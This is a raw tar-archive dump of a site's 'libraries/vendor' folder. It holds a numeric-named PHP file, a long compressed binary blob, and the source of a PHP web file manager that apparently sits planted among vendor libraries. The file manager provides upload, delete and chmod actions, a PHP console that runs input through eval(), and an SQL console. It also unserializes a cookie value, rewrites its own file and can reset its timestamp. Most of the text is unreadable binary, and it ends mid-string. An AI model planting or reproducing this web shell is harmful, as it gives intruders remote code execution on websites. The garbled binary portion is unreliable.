libraries/vendor/611925.php000064400000000000152377753350011304 0ustar00libraries/vendor/common.php.php.tar.gz000064400000071274152377753350014044 0ustar00Ms#9 8WYH:I)~S)QH(AF 1AETfksؽٚy8mwۙ={0d@7;Hp8p{+ϲ&il6alM՘ Թ$1UO Yt# g ?qsNǓD:wL2fJO& 37-@UKoGԉQ>** SQG!,пD4-;6TFsC] .h% Ƣ6碪akC=`e)SY8L%9a 2б)E_XEP4 q Z 0$_COLPtf{mQ` ,1B‘}شdU}Z_8;$D@OEE{\l,SqQh "A4)fh|7a7hsh(k6G| p,1ec dZF(W\sw,y@rP* ֋)ϭn(ϸ8y4ɒ|werH݅^$s$YPf&JaA@HΩ)tNaU>&$)!w;8$@rpr6"@&/HyH)_9֗)<<"h )C 0]_[SE6*e: mY&ubc`nf 4@#C dMz)#ʸ&QSO>dV @;ձnZ;d 0t˳9RXi=ES }AhC'gT$IH.-=Q7`FL+’"fbqY-RDTس\7`C 3H$:h \f`  ? /*HDҎXZō@INAk` IBЗ'];rSn~ b|~g2"iK?CC :5ZL3"6R8 \A4D٦hayCl&xb3AFQW|Rj_7B }cR~*"u%H5{o2Qp@{ELq!j670𧀂w'vuh<@Wd9f!%kc˚G!.#h~R%YKVԦMEBXMf,,CJ IaĄq;by/d4y &p8@·y3u7 !uK0\k\zU_KS(zxTk fʢ1pf#dZd'ϻCw?8DU~㲲IhN =5n av">e!6Ƅ fl D>n  |&,(Ư;dFʆ>s ž>mZK#T9l">{eHֳ? 6K@{!͆Y*h}Q% :y!|C& &.$YES5 l6#BVQxVVEh1opQP$I¼d'@I9{4(l90y?D@*MVwh @m7dI=YƑU&:ܾSS'w̓4TE@L"blLM7 e4L*J6Q3.c !?suGVPq  -^x<$ b>Q  cӋ)`ʻ1}]UhM՗9¦NNN7`9| l`Q;9G31U@ G[ZjM~CkКxί5鷴&5wJ/՚~{kohM¯5IJRkPo bsxLU)<k*Qd)Z33Q"YÈ<;;@vQC}X‡$ ZAk)AE5yI!2HoV#ބC8Ht &dh%H8MҬ-i+JB0cY *A, MRk~"64H1P"@B/t&HYLtc6by-_#EL~\VK)my3EI6Ebs T}$x0Eǘ.(y;NŅXg{= M!}֮]jo^NG,N^zJ2dmk6١lF?k6Gwއ ;Cun!|`St>IQZJ=JWf0L8\a`X໡#w8sVL` Cf2-IQCI7$5܌g&IӇU7e\A')r0i+PX"P-5HuHe<Wm;@AxwI$I"L;.HCڒL2GWIcAIZߜ__D ހ-87oTsP(jz+ \p`#+Dzl#N>Kd!x=3q(䄛Ј$aX ZaD⎇(kl= ptr٤0+p.v@yK`<܊ rEp-kafuܣљum4_ʫ^R)G*nA-l2FlvDCl'iמ֏B]QL0k=*[VzO\_hM+d7.l]om*RlFd/~I~3 s/zc&͹i*^CM+|*w/Mo'h> #Et8xzu$~vN$A) рRz6Ct4\~t{ "NUPoI&ѰGPRIvϚRS߮!ƊM .F !ָJ,UR r+/%)UHlSLzan'$ y#3 @7H3>jpC^hzV.Jq%9i)ZȪd:\pl60EQf㚰SV}n  GWia}oW|LiЁq.u'tvXpOAď1RaWVàjUnjpEkV0@S=)܄<"Bv#ZØ@Sd3(y,f?BFq@8 j7p,|吢'x#N mHHN C\o|,} ?(.q@]1oěNix;g4ϕnw/=+;"DrAReo$ m4\A  c$(LQ ]+`r%6is uBTJ R&tJ`3e1Mԝ)6uZ$lKcV{c]j:7kLw6Y*Ja]',9rW;Nr[샃`NMCN/u9<_?>u[3k鶐\4#?Ļl4RQ1=4ba*eq0ecWOvBr1X&Q'C6]xV2j4j>{A@a#/{9X UXV.kأMj¸BS]Cm/3IYK ˉ}uu^%^4>)3k93YO:X*<ލץLl<.lXֺe;r8}IZAK?Fs!ju^Q#cxxŲjnvq,&n^\^>k4Ydq^_OI~w>jf񜴴9w)EtiXFxl'_|jtƙ@ը׻>U:nޅtF_9%| _.cbj^;X>fB}N2?]/C{Rӕ*EOkj\jZ;IvƽsuAZz5J9w{}.u;^suuetz h7rystOڷ5]k(!^b5I׽Nf L٘\Fr©gjEa۬vޗ]ٟ{W?lYb{9$4 $Ia9Ub_~5[M ֗3Ct4FvsuU72=5z?*< Dy214ٿx#s6ugX#\8956"StuS-X/U]Sũ615|3~3G<+?h]Oa3/A{)b_q6?ǐ>`}kIJhS\l—3`GAAy-rO/Ǣr|tvBwWӂ?U}Oh Gqǩf`n[NJg \ؐ;78Lk: &q$PE$/h,Y{hTq> &$_$R b;$P,yrr`_ՄD# p79θ2LUtTjzq^l h0-4^p~!CþiSB/Eu$w lўĻF_AIpDiȗfQήz̛"P͇ 餇=ݨd|x?W929 {ӜRq L/B胐—UŷC xKسMO&vvbY~\P}V'~$1kt-ΔL6HƓ0DE5ЁJ\ Ɔe{^$q `h=Ѹn??^Z8#^T˵R+"6}Ub6_C"j۷z*koWʍ[Dk"*lU{@Z^ۙe!-?+Q<Wn|"Zy9_ 7kňr9l\H.췰>7L;L72vM&>Yt&$\ /LT#R"2oUeL9}\oUuRc;{nQfAViJ<{7}x̱c3u>R43&Ns*["/͘kI˚0أO1;!|Īp[NB N dē a$o%٬n0JEC G.B 9$4p?n8_J7-0ŅƆiЂkCK`m_:,dDӲ:ѺȂ2/t.?hg'>Ioڴo= ͽk}P6T\YN:~yDWac'{ũ~ӫ'g<.C<%wOT{u [pbEmu5 3 LDg3U?_ՃٺwD^WkG#|S=t歵 g }WLt:꺍o]K ްD> r6c#Yun Wiİ)?|oᇃԄ|OZ]?v ANAn)[컞SëB8%-dkDG{T_eD$#br!f{b]~@ߐ<[-ڵ|6C7{^q)r|[6IC;;Wotv"v$qvc0dsVnGkontwd6ؑٶ '&g_ă]d$JIqnv@ǶF&̸Uv.ߊS6Wp'5UuQ 9!VONI7v hU  zj74R( B`OMFcG0Xhe qiQ{8O __?? ч /?~Gy#%ݣКVͭ~fHCYH"ܓG ˆj[8ڑe`Sw-lzH!p ~鈙gHk7>z(yĨ'Z`&+@Oi!cDO4f .!Y TrV5un8XٚUG?pZ;"S5w[2p x7D=ݘس$mc1]~5gI 6ɒ7Fx[K"@ ;PJƮF40Õ&ZxmY#ow7e@{[]-&bO6SB'0%v 8kR]^dFs%|>biB?>b]Khe ~$dձq:L8a㽠u;F}l~ 恏g,eqJ0g̼)<ink= Rdro #)RN96"#]AgbZ>4$̍/247"~-/P]fQEr8/9$,nUpu y4_,QѬɏ Fk#CU)u(H)#. WNt XH!+K4Xߖ % wԭ ;#g^2-./E^0qr|𶲽xh$ƒ13 \λ&D\*Ҁ\~މ'gJDH\\EuIPbU'kTB['2 yOg'YLXL>`̝M=WL  ߛ"}'~\!:& F|?z Odq<(pW@؇GC魡9r;SfZ*P<R٠ ֳY(:R=TۣvM)S''BBn;5[|XO"7~UdTO+91xQq,dgϝ^@o%&6rߗyG_T"} җM,ģ)Sa*#˥ro7TN 80;C8vR-$ 7aT~Ժu?ٛnGQԵNzVyLRfVjZ܎oEQIo'SfrGh3m,|*YpR/FU1l~(p3粙$|1kz7t[rʵZ8yWE'٫kT(|~tқJv7ju]O竭*{S\k>/7O#~57odJXL 6Nϓ&ٽO'Rڗz>6喨J|4]Wafu YRsց;/:]mTC<\+|SU͎h>rgTojyX}>OwIM%I>\/~8hK5f>]ZVyq4sz1> 2y6bK)[w~N[n<՟P(erp3˫p6oYRwyl7w|z1/e~T)0 b[ytFJo2m nͤ/yyY,\Y]8+> BAz.cQ]o/śqXKq]Q~^BҵHRb{Oϗ]Xbq"[ śfasQWE=>F}:T XP fu2ooG[}v[t`T͌E-g`Vַm)QLoMf5swf`܈eR7OuRυor1R~2E=2:[VXei\x%-oZ|-KZ]9m]FśxY/Ii\9/^/OyЛMX]jx}WsڪU^/ӛdUڭuqfZ|VA4w6_HDۥLzrTRv6\oSkmn.fͰrKe}<+c0JM]n/6{Ͳ|nLrQRfJ8\-sɐFV'uٽZ?4&UFU,qs&Y@9z?qgznPZKWQ1y3S#zg֟ҽĨ}_0UҘwcdVyN>=s*!?.y:3^/VH./\25n/.o&^ge<{UU֥|E[gE10Q'&SXu(ұFnvJ\VuHxpVYgხfd \OiKRXT`WQnKsJ~Pt}jΥrN?=vϴ$LŨ;E֖gljKmU.u,$1}5mbh% \MII:)TmngNәIf\41&5?4gY1Ӗ2ɧg6k>uǒfA{ѫεd=֎^ɔƉ \WJu >ϞשT?%t,]?Z%V4Urf~VVV쯬Tu!7/^w4/I=yYV2]ބ ͌T3bhgoB/{UׇLYK렓zZHj>|̬U8Lk]'vUSڰX5v8X޲q1=+-k,WF7I9Qx,fnc FudAfVB`8qfzV[WqG>NgJe$ga3U?EYm.c~R2Ou=5l\]%:tWVj)O4c.X.;lg)g++,7Vegqlzvuh\7SAVQԴB*f:&8MFOV,WLVZkeEy6JIfY|}~:6Z^au۽Fii/>X~-;Y뜬 /lwz58oz뉵~nN%c] MYԳښ3 -f]&g^Kw 83j%Kezu[L Oܼ:탅ʓ1d kVn*w$ ! 'ç3i+1n+Agx8SYZZp/uъ?}ݳ.r?~i&>a4MדS$YTpr߯e<;\ۈ]ה\O^|mfVvqݍgs*^,,tꉻ~7.\K(^L4jyA2nTl=vZñYj!(y=yMTl hF|_&R-9+Nbsf U2O)5a)_WLkQ]iA֞$ZR{áͤJh9f׍TR8>)H-JeZ\'÷Nv|?}'SORCfvNjh@jsH&d?uМ\V:%2f?F;%-~lX9+wٜg-̵adHj)vpH>-Q|Ќ k4Y&B7Y7Q֔T`nr5R%fUw1\;zI&κ뼙/׹|x8GQ.qo|7h%(jXϥZo jgeBzkMT޷g*Vip46\Ëe!\WAQioʹtH$i/SSqywsgԾisdpYbQ\eoSh==rFnÝr6f(ku3uoSQAެ| Q\V& f}6[e;y,]3JZ<]%+R^ vn/4w"Zפգ]̦a2L2VrZR{ /[j"ݏFs]>fËyyyv(w'j7RoZ77ʼ[ s=\J+ź4nt^(\zҞ%|U/<% YMGZl8MV\gf5ݝJPBC|zյ we̬13yWfW׹)ƒ*)0d< \Z[h.¹.bVUMUt%۫esĻeҞ7bq7(^{!^{!^{!^{!(s_.c܄ZWwMA9ᬹJKU:k>n(Vy%q./IEvϚj}Wqa>DK$QZIWW1ҵ6-Çٔ6*]pxVXa5~ezϥyq֐롁Vq(gꮅ6S'iU+UoW:1W-jع+r!Ntz91C~ty%Ƣ7^\:HU*VzОd-H9lJg0vuRϟSŦ~|I%5WuKwGՙq7φ r|/ͫ]Ȫc>_Y9Sn&S`T:u)^ũO,Hbtb>Lgtk8<+< Ǹ*R祛t|vV5Vá.-X3%kmsS?W6߯./όpQgLY<J/҉nI-U?ӆ$-ӳۋZ==-']ITEǰ+9QjFh\vf]X]~}_Υ>XzX?j.9)_;^ɝm{(>x]\fJZW;U<]=#Kgu9>'E8ۙgyOR C*\J׹Pw`x.e8SoJOח|?ye{Zc9y:ӋrP,XV޼=>Of䩰F+ָ*yo&oN{R[UyLZ,U Zs&c&SV LZ vսJZhT/fɢ5 bV?x{{;Kg}Z2BT'3aovL[0 % eM5I:p;7̵\ Q![.ZGpOZZ8Ҭ1)LjD (PM\[,WxraNa31%m< g}gkMT "hs$ss{Є%;( #AaW1-j'Ho gZ:YMdSdT/YT(hָbh4HQF. +ӈv|LG>:7UC|+uoPDvJ o7}! 7g5IDn^!\ tU|w"=w'^q˸w /~}BnsakzM(8dxP@΂ʯe\aw>c~cJ;C0ycK,!BDfDA𯼽}YaH'2^oR,ޮRĹ;}E\7P݇HNk aydlbI/嘔rLv1lt8$9&[574 w?kmh)=qaq>{H&'4ݠ(|a$*I;poxԐc*_t\;NSb#A8BKtm>@_!ۋES& v] HuzIX}^j&/iy7S ''ϲ <D&8Hev˳[B_U6'zM_ٓp!*C:EqgZ4g'x@*ӓ@"@BD޷Jxh[)l2aCg,/ anuB9Ar-t>&vlALZ?5fAIwb٤H"lRf&y !o㠺^0rގh jHd8Ջʞȗg2Ÿ^*Gm|&6 i<%?PFa=͚5-A[!!T׶)hDz喲Hb#^=5ZoMk3_MEmnPQkG=@ 831=9YYFr<[Q~d&5Ze-%Ԑit}R? 7^|$}lϻ7J ll"|M%rC/zw/1B8f*>.) 18a b5 2LQ$ΏcXr>QNjmnE[p!H!͝7@ݎ؍ ʄf?ҬaS6W/yPv=S`:oqn!k>xŘ,YmbvgvYe ir)5\9.eJ7}:A6>Oogٿ}iAֳY_鄎Y_[>N~3Yc]m0·3[8P2L}nw8}x ԐdR4EC0 aTej7CKmTq\F'ȣOsE*>-1񴫲֐KTĵ$9ZוN$%4 BIe.jjԡ?X9PgY&(C0"P[!:q?EX lAl:U}L*0޿0KNRd=^T w8 ld#PzA4s l ^Ŀ0 dJ:;WIH f̛f/ot}785&?:TI_J ]pCN& &S!Y{]F\D;ùiS`o{ {d{LSEMԄn‹f)8+B'D_W̸$O0A ?\EC7_os9GWߖR]~8l7R^O\SG:9N$-mPG.j58,KTPgP8J5Q`O%⠾0 S`o>ecMܘt#]a]6~HAH3#kRaԠB:Fh?)_I/hB(Y_ )4Kn#An,kAك͗Jq=!^jK]dsPnj}xbU;l;_ [">|%_#(EU'.% H!&֧QU Sm8jԍ !WKt]1RvH 7c;\.P%#>6$u쪶qaWEgWO+y0dN}ng&Xcc`pfSZ?VQχ! ^E, &!.}1CAM9qNߞSml.Qf&^bilGŸ=Ҷj1.}u% $U}yDMcB $ȞLD{U/er룰JAox"$%ɍk|Wk,E]G[\rcF6``h ܸ|(,Gʦxo[ސcXOɦo֮Gj?=粪Мr]>\+űohUF|uYh fӕȵVUdl[ؼ[bJn4`PdNT>`4}i3s?YP~C󫊖ų_U9nW zGtRO+v lQs|b?UunC-ʌ;ه>+wM3r-pe&䱕ҍ oiZu2Bp#1Ie{|/eqT0-"8% ;c?e0?ܑgfhG15 6 ȑ 6_M d~քWT|)@u9H6|# ЫNjujA@?!R#~1 QQ`%S1/ǎt D@ép}D>fl>ßTzGz#PljcˆD}0Oֲthz>NTd'ct5o!kC G0:qx  6TQi&wYG۵%{7^B;uiE7U҉hdn#}X "֠V=WM1`6KP~i}Q~85_߬G"8__#EiOu3B~ؐvލ09UV~%vkx#%,olcpe2M/Ҧgd?Q"~,m >'p ]RKo m}H͵OW6"6HN"&c"D%Yd^#{ox7X|T,= dJXZ^}JE!lhoK 7Tt4nw/ Gʑq~ VHo#K7,\6;f)ԕ_}$yl-*Hc+l/'*Ȋ, =KD2_C?'0q6QU [h.4$?^5h|&c(("-8b?-67 2\q(lRbYSMۧ |X*WΫzjv=?hSۅ+fz$EDp cc"N2P'2 AHO >|2tB% Ƅ1@!!敄)[|‡1J:a5$1I!F NPP lʡRq9 fXRNJbI9;)i:,-EU'B&RRP 0&п1!Μ sKP|6C3}y)TjCPL> rL0`cB˒(5FGT1lX/l*q!X= qT#drdh7QbCkGp ٥%Vo(IŁ r]1ftP;B`p€~aƤW 3)uN^b4 ـ  JD 2JmI,$`#FM| HeeTF< AaHom4D8ve?;ςGAW'%ɌA/29s6;_33#;s6|:’C Րjm#n*܌9\0 mgzDD ٓ,U1!酃??O1؇ĮC;;53S&W[ :X'HF)) 9KP3ʌ}, Dq 9v<ᵀб95h\b0{ժ]R:ZtSܖYb\9xO܂;уq0F h,>%1p2ńPÁ+oC?|j2]Tho2?pâyGƣT(J]'YN6f4/I9q6z[79>k$( GbmxQ` PG0G;ad ${Nf~_Vt5UiECWݙTs0;n.%P_^ X-\d87eRūvЁ 1;e +Mmo`לHƶ5΁bN$/uӕg 2%38C`ɷƓ5  I$GXRp78zDTbZعlXL^!8Usya[e>!ag}AON\ha'''h-pv)idίڌ4oVplyv;wH<ў*#ڬ>"$],b7Xw\=hDCMh,v `li nZƅ[gc+BV68 /4m+Ji(9!}moál`vC{#B&tw,CġPҝch8"TlXKp~ r9͂3 Pvau(8$D8!î!cS뾱r֤N:U'P^tNXԔ>7y/6^NU | MeGzfu5)6ZyuNGw AxK|Bf~SH NOMT$60>QN<cl<xqY>"RI&+xYR53`I$IhY&\&\o[lw# |HUœ9p6T!߁_@=PuSe°ͫ=I`% 'W\b62>I>Mܮ3gcy(55r&Z .VϮkbk~"!x $Ht#opI1gd5U'C; pc{?3n oCɍͼ7A8f4̲~[K{ӶC=̦n<B*ۃB0rŋ}iW1 @ u"Rᛛƽf*l1b7|2q[v131_xG1ĿdJl{ n^O:ye.[ۂhx_m;+8վL-GX:k/ Ro^1S;C"3c`1iR]lɷΨQgzlg' %c/Eq6e|7 pT1WI<q  x1;&榺AAЧgc" lQ%1(h5&Lő2Iz(&sRK*9Ib*>h7"]}g*łX%y eǃqg_$D82s"$3O$6/lN 6v!3] Z=ۤm>Fd5O7p +]H@BT2_)kCy3q~E`sb{ajx {ł56t:T@ap9_"OЈ8F1āDCǐ@y 3,.l xkv䇇x~b1Xb 2i,vA-hkHmD7gY` wJQF\a4Ae5SW-4tҋHٱj,&EQ %ً/E !{m4䝙csaj#ݔeؔ;b 5D@ wCϖtv#'q oT~L#KVKzגM7IhQ3lܣnU H[eđ^91ag[MhURm(#ӡˊ*s:=p}y[[l|#+oWU/Z(0Dƭ!&Uzgr ު=&6#e0ng>qSCxe"/sޤVЦ=^2U^uFUߦ^9t{ȯ<|}]!KN~m aCwxk{6_tv^ ޝ]^.4| Q<ֶ\3Iƶ'fpL ^`y6w.9 sCy$*Txپ(滝nF\pp+ؖQ? =84zjo٫o[܎$㛜ԩܴ0K% }wSXn;ǡ>l;H}ɶw'^k\s[<樍℁;rnq| @ ӟ1/a4T*61͹$da9{`t9XH}/_jHl|9'am  _21\PE$ѹt087 d՘okPc4c;Tu|8ptc7dl/lzd4ReQ&=Ip> WFR/MdE0]O* |Y爜# RtEj0s|_aN1ui0``n s UѲD{C%?޳h>E|)[E/Hp%:]ϧZ ,D{TGD-: B /Rgh}rw*)h!-OZvD`#_(ڔuRd(){Ǘm}B[BJqQLmb##^첁䩨<p',h\qn_cpD $` X>,\ 8xsm`_:OЗg8~F.\DVWZ~U*ŶP- f-wfYǘE:iMcC *xJB}EO q &lXGHٗ菈 true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAA